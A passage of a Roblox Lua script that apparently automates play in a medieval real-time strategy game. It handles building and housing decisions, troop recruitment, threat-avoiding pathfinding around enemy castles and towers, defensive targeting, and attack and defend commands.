            or stations >= CFG.HomeStationLimit then break end
        if not checked[i] then
            checked[i] = true
            local goal = flatBuildGround(site.point, name)
            if goal then
                stations = stations + 1
                farmStatus[worker] = "HOME " .. name .. " AREA " .. stations
                local current = pos(worker)
                local range = tonumber(worker:GetAttribute("Range")) or 8
                local reached = current
                    and flatDistance(current, goal) <= math.max(3, range - 1)
                if not reached then
                    status(name .. " | NEARBY AREA " .. stations .. " (" .. site.area .. ")")
                    reached = arrive(worker, goal, CFG.HomeTravelTimeout)
                end
                if reached then
                    -- Use the builder's NEW position as the placement center.
                    local arrivedAt = pos(worker)
                    if arrivedAt then
                        local ok, reason = probeAround(arrivedAt, site.area)
                        if ok then return true end
                        if reason ~= "NO_VALID_POSITION" then return false end
                    end
                end
            end
        end
    end
    status(name .. " | " .. attempts .. " GROUND PROBES; RETRYING")
    return false
end

local function homeManager()
    while active do
        local mills = completedCount("Windmill")
        local usedPop = stats.CurrentUnits.Value
        local maxPop = stats.MaxUnits.Value
        local queuedPop = 0
        for name, number in pairs(pendingRecruit) do
            queuedPop = queuedPop + number * space(name)
        end
        local freeSpace = maxPop - usedPop - queuedPop
        local houseCount = completedCount("House")
        local hasBarracks = findBuilding("Barracks", false) ~= nil
        local barracksReady = findBuilding("Barracks", true) ~= nil
        local unfinishedHouse = false
        local unfinishedHut = false
        for _, house in ipairs(models(buildings, "House")) do
            if built(house) ~= true then unfinishedHouse = true; break end
        end
        for _, hut in ipairs(models(buildings, "Builder Hut")) do
            if built(hut) ~= true then unfinishedHut = true; break end
        end

        -- Always prioritize the Barracks immediately after THREE completed
        -- Windmills (no wait for a fourth and no enemy-Barracks condition).
        if mills >= 3 and not hasBarracks then
            enqueueHome("Barracks", true)
        end

        local hutNeeded = stats.CurrentBuildings.Value
            >= stats.MaxBuildings.Value - 2
            and #models(buildings, "Builder Hut") < CFG.HutsLimit
        if hutNeeded and not unfinishedHut then
            local barracksBlockedByCap = stats.CurrentBuildings.Value
                >= stats.MaxBuildings.Value
            enqueueHome("Builder Hut", barracksBlockedByCap)
        end

        -- Wait for the Barracks to produce troops before building houses.
        -- At ~25 current population, construct the first 3 houses in
        -- sequence; afterward expand whenever remaining room gets tight.
        -- Near-cap emergency expansion remains available even below 25.
        local housingUnlocked = usedPop >= CFG.FirstHouseAtPopulation
        local firstThreeNeeded = housingUnlocked
            and houseCount < CFG.FirstHouses
        local capPressure = freeSpace <= math.max(CFG.HouseFreeSpaceBuffer,
            math.ceil(maxPop * 0.15))
        local houseNeeded = firstThreeNeeded or capPressure
        if houseNeeded and barracksReady and not pendingHome["Barracks"]
            and not unfinishedHouse
            and #models(buildings, "House") < CFG.HousesLimit then
            enqueueHome("House", false)
        end
        task.wait(2)
    end
end

local function enemies()
    local result = {}
    for _, folder in ipairs(workspace.Game.PlayerFolder:GetChildren()) do
        if folder.Name ~= player.Name then
            local other = Players:FindFirstChild(folder.Name)
            local sameTeam = other and player.Team ~= nil and player.Team == other.Team
            if not sameTeam then table.insert(result, folder) end
        end
    end
    return result
end

local function enemyCastleAt(reference)
    local nearest, best = nil, math.huge
    for _, enemy in ipairs(enemies()) do
        local theirBuildings = enemy:FindFirstChild("Buildings")
        local theirCastle = theirBuildings and theirBuildings:FindFirstChild("Castle")
        local point = theirCastle and alive(theirCastle) and pos(theirCastle)
        if point then
            local d = flatDistance(reference or castleAt, point)
            if d < best then nearest, best = point, d end
        end
    end
    return nearest
end

local threatCache = nil
local threatCacheUntil = 0
local function staticThreats()
    if threatCache and os.clock() < threatCacheUntil then
        return threatCache
    end
    local result = {}
    for _, enemy in ipairs(enemies()) do
        for _, b in ipairs(models(enemy:FindFirstChild("Buildings"))) do
            local name = b.Name:lower()
            if name == "castle" or name:find("tower", 1, true) then
                local point = pos(b)
                if point then
                    local minimum = name == "castle"
                        and CFG.CastleDangerRadius or CFG.TowerDangerRadius
                    local actual = tonumber(b:GetAttribute("Range")) or 0
                    table.insert(result, {
                        point = point,
                        radius = math.max(minimum, actual + CFG.MinimumThreatMargin),
                        name = b.Name,
                    })
                end
            end
        end
    end
    threatCache = result
    threatCacheUntil = os.clock() + 1.5
    return result
end

local function unsafe(point, circles, extra)
    if not point then return true end
    for _, c in ipairs(circles) do
        if flatDistance(point, c.point) <= c.radius + (extra or 0) then
            return true, c
        end
    end
    return false, nil
end

-- Geometry check against *every point* on a straight segment, not only the
-- destination. Roblox movement may still choose a different actual route.
local function segmentSafe(a, b, circles, margin)
    if not a or not b then return false end
    local ax, az = a.X, a.Z
    local dx, dz = b.X - ax, b.Z - az
    local length2 = dx * dx + dz * dz
    for _, c in ipairs(circles) do
        local cx, cz = c.point.X - ax, c.point.Z - az
        local t = length2 > 0 and math.clamp((cx * dx + cz * dz) / length2, 0, 1) or 0
        local ex, ez = ax + dx * t - c.point.X, az + dz * t - c.point.Z
        local radius = c.radius + (margin or 0)
        if ex * ex + ez * ez <= radius * radius then return false end
    end
    return true
end

local function routeAroundThreats(from, goal, circles)
    if not from or not goal or unsafe(goal, circles, 5) then return nil end
    if segmentSafe(from, goal, circles, 6) then return {goal} end
    if unsafe(from, circles, 1) then return nil end

    -- Visibility graph: draw safe candidate waypoints around hostile
    -- Castle/Tower circles and find the shortest connected route.
    local nodes = {from, goal}
    local candidates = {}
    for _, c in ipairs(circles) do
        table.insert(candidates, c)
    end
    table.sort(candidates, function(a, b)
        return flatDistance(a.point, from) + flatDistance(a.point, goal)
            < flatDistance(b.point, from) + flatDistance(b.point, goal)
    end)
    local maxThreats = math.min(#candidates, 8)
    for i = 1, maxThreats do
        local c = candidates[i]
        if flatDistance(c.point, from) + flatDistance(c.point, goal)
            < flatDistance(from, goal) + 2 * (c.radius + 110) then
            for j = 0, 15 do
                local angle = j * math.pi / 8
                local r = c.radius + 16
                local sample = Vector3.new(
                    c.point.X + math.cos(angle) * r,
                    goal.Y,
                    c.point.Z + math.sin(angle) * r)
                if not unsafe(sample, circles, 6) then
                    table.insert(nodes, sample)
                end
            end
        end
    end
    local distance, previous, seen = {[1] = 0}, {}, {}
    for _ = 1, #nodes do
        local choice, best = nil, math.huge
        for i = 1, #nodes do
            if not seen[i] and (distance[i] or math.huge) < best then
                choice, best = i, distance[i]
            end
        end
        if not choice then break end
        if choice == 2 then break end
        seen[choice] = true
        for j = 1, #nodes do
            if not seen[j] and j ~= choice
                and segmentSafe(nodes[choice], nodes[j], circles, 6) then
                local nextDist = best + flatDistance(nodes[choice], nodes[j])
                if nextDist < (distance[j] or math.huge) then
                    distance[j], previous[j] = nextDist, choice
                end
            end
        end
    end
    if not distance[2] then return nil end
    local route = {}
    local cursor = 2
    while cursor and cursor ~= 1 do
        table.insert(route, 1, nodes[cursor])
        cursor = previous[cursor]
    end
    if cursor ~= 1 then return nil end
    return route
end

local function safeExitPoint(from, circles)
    local bad, threat = unsafe(from, circles, 3)
    if not bad then return nil end
    local delta = Vector3.new(from.X - threat.point.X, 0, from.Z - threat.point.Z)
    if delta.Magnitude < 0.01 then delta = castleAt - threat.point end
    if delta.Magnitude < 0.01 then delta = Vector3.new(1, 0, 0) end
    return Vector3.new(threat.point.X, from.Y, threat.point.Z)
        + delta.Unit * (threat.radius + 28)
end

local function orderSafe(unit, goal, label, extraThreats)
    if not active or not alive(unit) then return false end
    local here = pos(unit)
    if not here or not goal then return false end
    local circles = extraThreats or staticThreats()
    local exit = safeExitPoint(here, circles)
    if exit then
        moveOne(unit, exit)
        return false
    end
    local route = routeAroundThreats(here, goal, circles)
    if not route then return false end
    if routedOrders[unit] then routedOrders[unit].cancel = true end
    local token = {cancel = false, goal = goal, start = os.clock()}
    routedOrders[unit] = token
    task.spawn(function()
        for _, waypoint in ipairs(route) do
            if not active or token.cancel or not alive(unit) then break end
            local moveSent = 0
            local stepStart = os.clock()
            while active and not token.cancel and alive(unit)
                and os.clock() - stepStart < 60 do
                local current = pos(unit)
                if not current then break end
                if flatDistance(current, waypoint) < 12 then break end
                local threats = extraThreats or staticThreats()
                if unsafe(waypoint, threats, 3) then break end
                if os.clock() - moveSent > 13 then
                    moveOne(unit, waypoint)
                    moveSent = os.clock()
                end
                task.wait(0.65)
            end
            local current = pos(unit)
            if not current or flatDistance(current, waypoint) > 18 then break end
        end
        if routedOrders[unit] == token then routedOrders[unit] = nil end
    end)
    return true
end

local function rallyPoint()
    if manualDefense then return castleAt end
    local circles = staticThreats()
    local chosen, best = nil, math.huge
    for _, mill in ipairs(friendlyWindmills()) do
        local here = pos(mill)
        if here then
            local enemy = enemyCastleAt(here)
            local towardHome = castleAt - here
            if towardHome.Magnitude > 1 then
                local rally = here + towardHome.Unit * CFG.RallyBackoff
                if not unsafe(rally, circles, 6)
                    and routeAroundThreats(castleAt, rally, circles) then
                    local distance = enemy and flatDistance(here, enemy) or 999999
                    if distance < best then chosen, best = rally, distance end
                end
            end
        end
    end
    if chosen then return chosen end
    return castleAt
end

local function enemyCombat()
    local result = {}
    for _, enemy in ipairs(enemies()) do
        for _, unit in ipairs(models(enemy:FindFirstChild("Units"))) do
            if unit.Name ~= "Builder" and unit.Name ~= "Repairman"
                and unit.Name ~= "Fishing Boat" and unit.Name ~= "Transport Ship" then
                table.insert(result, unit)
            end
        end
    end
    return result
end

local function nearbyFriendlyObjective(point, objectivePositions)
    if flatDistance(point, castleAt) <= CFG.DefenseRadius then return true end
    for _, at in ipairs(objectivePositions) do
        if flatDistance(point, at) <= CFG.ForwardDefenseRadius then
            return true
        end
    end
    return false
end

local function pickDefensiveTarget(soldier, wasAttacked, hostiles, objectivePositions)
    local here = pos(soldier)
    if not here then return nil end
    local closest, best = nil, CFG.EngagementDistance
    local range = tonumber(soldier:GetAttribute("Range")) or 16
    for _, enemy in ipairs(hostiles) do
        local at = pos(enemy)
        if at and (nearbyFriendlyObjective(at, objectivePositions)
            or (wasAttacked and flatDistance(here, at) < 85)) then
            local d = flatDistance(here, at)
            if d < math.max(best, range + 8, wasAttacked and 85 or 0) then
                closest, best = enemy, d
            end
        end
    end
    return closest, range
end

local combatUnits

local function defenderManager()
    while active do
        if manualDefense and not assaultMode then
            local now = os.clock()
            local batch = {}
            for _, soldier in ipairs(combatUnits()) do
                local here = pos(soldier)
                if here and alive(soldier) and flatDistance(here, castleAt) > 13
                    and now - (defenderReturnOrders[soldier] or -1000) >= 18 then
                    if routedOrders[soldier] then routedOrders[soldier].cancel = true end
                    table.insert(batch, {soldier, castleAt})
                    defenderReturnOrders[soldier] = now
                    if #batch >= 8 then
                        sendMovement(batch)
                        batch = {}
                        task.wait(0.25)
                    end
                end
            end
            if #batch > 0 then sendMovement(batch) end
        else
        local default = rallyPoint()
        local hostiles = enemyCombat()
        local objectivePositions = {}
        for _, mill in ipairs(friendlyWindmills()) do
            local at = pos(mill)
            if at then table.insert(objectivePositions, at) end
        end
        local circles = staticThreats()
        local troops = {}
        for _, name in ipairs({"Knight", "Crossbower"}) do
            for _, soldier in ipairs(models(units, name)) do
                table.insert(troops, soldier)
            end
        end
        for _, soldier in ipairs(troops) do
            if active and not assaultMode and alive(soldier) then
                local here = pos(soldier)
                if here then
                    local danger = unsafe(here, circles, 0)
                    if danger then
                        local retreat = safeExitPoint(here, circles)
                        if retreat then
                            if routedOrders[soldier] then routedOrders[soldier].cancel = true end
                            moveOne(soldier, retreat)
                        end
                    else
                        local currentHP = tonumber(soldier:GetAttribute("Health"))
                        local previousHP = defenderHealth[soldier]
                        local wasAttacked = currentHP and previousHP
                            and currentHP < previousHP
                        defenderHealth[soldier] = currentHP or previousHP
                        local enemy, attackRange = pickDefensiveTarget(
                            soldier, wasAttacked, hostiles, objectivePositions)
                        local goal = default
                        local shouldMove = true
                        if enemy then
                            local hostile = pos(enemy)
                            if hostile then
                                local distance = flatDistance(here, hostile)
                                if distance <= math.max(4, attackRange * 0.85) then
                                    -- The game auto-attacks at range. Don't cancel its attacks.
                                    shouldMove = false
                                else
                                    local toward = here - hostile
                                    if toward.Magnitude > 0.1 then
                                        goal = hostile + toward.Unit
                                            * math.max(4, attackRange * 0.72)
                                    end
                                end
                            end
                        end
                        if shouldMove and goal and not unsafe(goal, circles, 5) then
                            local last = defenderOrders[soldier]
                            local change = not last
                                or flatDistance(last.goal, goal) > 17
                                or os.clock() - last.time > (enemy and 18 or 75)
                            if change and flatDistance(here, goal) > 16 then
                                if orderSafe(soldier, goal) then
                                    defenderOrders[soldier] = {goal = goal, time = os.clock()}
                                end
                            end
                        elseif not shouldMove and routedOrders[soldier] then
                            routedOrders[soldier].cancel = true
                        end
                    end
                end
            end
        end
        end
        detail.Text = (assaultMode and "ATTACK | "
            or (manualDefense and "CASTLE HOLD | " or "AUTO DEFENSE | "))
            .. "POP " .. stats.CurrentUnits.Value .. "/" .. stats.MaxUnits.Value
            .. " | FARMS " .. completedCount("Windmill")
            .. " | BUILDERS " .. #builders()
            .. " | KNIGHTS " .. #models(units, "Knight")
            .. " | CROSS " .. #models(units, "Crossbower")
        local builderState = {}
        for i, worker in ipairs(builders()) do
            if i > 3 then break end
            table.insert(builderState, tostring(i) .. ":"
                .. tostring(farmStatus[worker] or "WAITING"))
        end
        workersLabel.Text = table.concat(builderState, " | ")
        task.wait(CFG.UpdateSeconds)
    end
end

local function recruitManager()
    while active do
        updateRecruitQueue()
        local barracks = findBuilding("Barracks", true)
        if barracks then
            local knights = #models(units, "Knight") + pendingRecruit.Knight
            local cross = #models(units, "Crossbower") + pendingRecruit.Crossbower
            local choice = knights / math.max(1, knights + cross) < 0.60
                and "Knight" or "Crossbower"
            local reserve = CFG.ArmyFundsReserve
            local freeSpace = stats.MaxUnits.Value - stats.CurrentUnits.Value
            if freeSpace <= CFG.HouseFreeSpaceBuffer then
                reserve = math.max(reserve, cost("House"))
            end
            if stats.CurrentBuildings.Value >= stats.MaxBuildings.Value - 2 then
                reserve = math.max(reserve, cost("Builder Hut"))
            end
            tryRecruit(choice, barracks, reserve)
        end
        task.wait(2)
    end
end



combatUnits = function()
    local result = {}
    local noncombat = {
        Builder = true, Repairman = true,
        ["Fishing Boat"] = true, ["Transport Ship"] = true,
    }
    for _, unit in ipairs(models(units)) do
        local name = unit.Name
        if not noncombat[name] and not name:lower():find("ship")
            and not name:lower():find("boat") then
            table.insert(result, unit)
        end
    end
    return result
end

local function attackCastleNow()
    if not active then return end
    local enemy = enemyCastleAt(castleAt)
    if not enemy then
        status("ATTACK FAILED: NO ENEMY CASTLE FOUND")
        return
    end
    assaultTarget = enemy
    assaultOrdered = {}
    assaultMode = true
    manualDefense = false
    defenderOrders = {}
    for _, route in pairs(routedOrders) do route.cancel = true end
    status("ATTACK ORDER ISSUED - DEFENSE PAUSED")
end

attackButton.MouseButton1Click:Connect(function()
    attackCastleNow()
    if assaultMode and stats.CurrentUnits.Value >= CFG.AutoAttackPopulation then
        -- Honor a later manual DEFEND instead of instantly re-attacking.
        autoAttackTriggered = true
    end
end)
defendButton.MouseButton1Click:Connect(function()
    assaultMode = false
    manualDefense = true
    assaultTarget = nil
    assaultOrdered = {}
    defenderOrders = {}
    defenderReturnOrders = {}
    for _, route in pairs(routedOrders) do route.cancel = true end

    -- Immediate recall: the button works even before the next defense tick.
    -- Recall every owned unit once, including Builders; farm assignments may
    -- resume afterward so the economy and housing can continue.
    task.spawn(function()
        local batch = {}
        local recalled = 0
        for _, unit in ipairs(models(units)) do
            if not active then break end
            if alive(unit) then
                table.insert(batch, {unit, castleAt})
                recalled = recalled + 1
                if #batch >= 8 then
                    sendMovement(batch)
                    batch = {}
                    task.wait(0.15)
                end
            end
        end
        if #batch > 0 then sendMovement(batch) end
        status("DEFEND: " .. recalled .. " UNITS ORDERED HOME")
    end)
end)

local function assaultManager()
    while active do
        -- Trigger the existing, tested ATTACK CASTLE command once when
        -- population reaches 88. A later manual DEFEND remains respected.
        if not assaultMode and not autoAttackTriggered
            and stats.CurrentUnits.Value >= CFG.AutoAttackPopulation then
            attackCastleNow()
            if assaultMode then
                autoAttackTriggered = true
                status("AUTO ATTACK: POPULATION "
                    .. stats.CurrentUnits.Value .. " / " .. stats.MaxUnits.Value)
            end
        end
        if assaultMode and assaultTarget then
            local batch = {}
            local now = os.clock()
            local moved = 0
            for _, soldier in ipairs(combatUnits()) do
                if alive(soldier) and pos(soldier) then
                    if flatDistance(pos(soldier), assaultTarget) > 13
                        and now - (assaultOrdered[soldier] or -1000) > 24 then
                        table.insert(batch, {soldier, assaultTarget})
                        assaultOrdered[soldier] = now
                        if #batch >= 8 then
                            sendMovement(batch)
                            moved = moved + #batch
                            batch = {}
                            task.wait(0.3)
                        end
                    end
                end
            end
            if #batch > 0 then
                sendMovement(batch)
                moved = moved + #batch
            end
            if moved > 0 then
                status("ATTACKING ENEMY CASTLE: " .. moved .. " TROOPS ORDERED")
            end
        end
        task.wait(5)
    end
end

local function startManager(name, fn)
    task.spawn(function()
        local ok, err = pcall(fn)
        if not ok then reportError(name, err) end
    end)
end

startManager("BUILDERS", builderManager)
startManager("HOME BUILDINGS", homeManager)
startManager("RECRUITMENT", recruitManager)
startManager("DEFENSE", defenderManager)
startManager("MANUAL ATTACK", assaultManager)

print("MEDIEVAL RTS DEFENSIVE COMMANDER V9 LOADED")